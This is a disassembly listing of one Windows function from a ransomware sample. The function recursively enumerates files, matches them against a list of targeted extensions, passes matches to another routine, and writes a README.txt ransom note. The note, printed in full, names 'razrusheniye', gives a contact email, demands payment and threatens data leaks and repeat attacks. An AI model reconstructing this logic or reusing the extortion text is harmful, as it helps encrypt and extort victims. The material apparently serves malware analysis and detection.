Function at 0x140001780
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x3c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x390], rax
mov r13, r9
mov r15, r8
mov r9, rcx
lea r8, str._s
mov r14, rdx
mov rbp, rcx
lea rcx, [rsp + 0x280]
mov edx, 0x104
call fcn.140001060
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x1400019a9
mov qword [rsp + 0x3b8], rbx
mov qword [rsp + 0x3b0], rsi
mov qword [rsp + 0x3a8], rdi
test byte [rsp + 0x30], 0x10
je 0x140001887
movzx ecx, byte [rsp + 0x5c]
movzx eax, byte [rsp + 0x5d]
cmp cl, 0x2e
jne 0x140001834
test al, al
je 0x140001906
cmp cl, cl
jne 0x140001834
cmp al, cl
jne 0x140001834
cmp byte [rsp + 0x5e], 0
je 0x140001906
lea rax, [rsp + 0x5c]
mov r9, rbp
lea r8, str._s_s
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rsp + 0x170]
call fcn.140001060
lea rcx, [rsp + 0x170]
call fcn.1400016c0
test eax, eax
jne 0x140001906
mov r9, r13
lea rcx, [rsp + 0x170]
mov r8, r15
mov rdx, r14
call fcn.140001780
jmp 0x140001906
mov edx, 0x2e
lea rcx, [rsp + 0x5c]
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
mov rsi, rax
test rax, rax
je 0x140001906
xor ebx, ebx
lea rdi, str..doc
nop dword [rax + rax]
mov rdx, qword [rdi]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400018cd
inc ebx
add rdi, 8
cmp ebx, 0x57
jb 0x1400018b0
jmp 0x140001906
lea rax, [rsp + 0x5c]
mov r9, rbp
lea r8, str._s_s
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rsp + 0x170]
call fcn.140001060
mov r8, r15
lea rcx, [rsp + 0x170]
mov rdx, r14
call fcn.140001340
lea rdx, [rsp + 0x30]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001803
mov rdi, qword [rsp + 0x3a8]
mov rcx, rbp
mov rsi, qword [rsp + 0x3b0]
call fcn.1400016c0
test eax, eax
jne 0x140001998
mov rcx, rbp
call fcn.1400016c0
test eax, eax
jne 0x140001998
mov r9, rbp
lea r8, str._sREADME.txt
mov edx, 0x104
lea rcx, [rsp + 0x170]
call fcn.140001060
lea rdx, [0x140003800]
lea rcx, [rsp + 0x170]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
je 0x140001998
mov r8, r13
lea rdx, str._You_became_victim_of_the_razrusheniye_ransomware__._n_nUsing_AES_256_CBC_encryption__your_databases__documents__photos_and_other_important_files_have_been_encrypted__nThis_means_you_will_not_be_able_to_access_them_unless_you_decrypt_them._nSee_for_yourself__Look_at_any_file_with_the_.raz_extension_and_its_content__nYou_cannot_recover_these_files_yourself._Thats_not_how_cryptography_works._nDo_not_waste_your_time._Nobody_can_recover_your_files_besides_us__nIf_you_fulfil_the_following__you_are_eligible_for_a_50___discount__n_____You_do_NOT_contact_ANYONE_about_this_incident._n_____You_contact_us_in_UNDER_than_6_hours._nWe_can_decrypt_these_files__we_can_guarantee_that_your_system_will_be_just_as_new__nPayment_for_the_restoration_of_your_system_is__70__with_the_50___discount_its__35___nWe_can_restore_your_systems_in_less_than_6_hours_if_you_pay_now._nHowever__we_will_not_decrypt_your_system_if__n_____You_go_to_police_and_report_us._n____If_you_report_us_AFTER_restoration__we_WILL_attack_you_again________nDo_not_delete_or_modify_encrypted_files__it_will_cause_problems_when_restoring_your_system__nSend_the_personal_ID_to_razrhelp_firemail.cc_via_email._nWe_will_provide_payment_information__once_payment_is_done__we_will_sent_you_a_decryptor__nIf_you_do_not_pay__you_will_NEVER_get_your_data_back_and_sensitive_information_will_be_leaked_online__nBy_sensitive_information_we_mean_passwords__and_similar__nQ:_How_can_i_be_sure_you_wont_scam_me__nA:_You_can_send_us_3_files__not_bigger_than_3MB__and_we_will_decrypt_it__and_send_it_back_to_you._nYou_can_then_decide_if_you_want_to_restore_the_rest_by_paying__70__with_the_50___discount_its__35__n____Your_personal_ID_is:__s_____n
mov rcx, rax
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rbx, qword [rsp + 0x3b8]
mov rcx, qword [rsp + 0x390]
xor rcx, rsp
call fcn.1400020b0
add rsp, 0x3c0
pop r15
pop r14
pop r13
pop r12
pop rbp
ret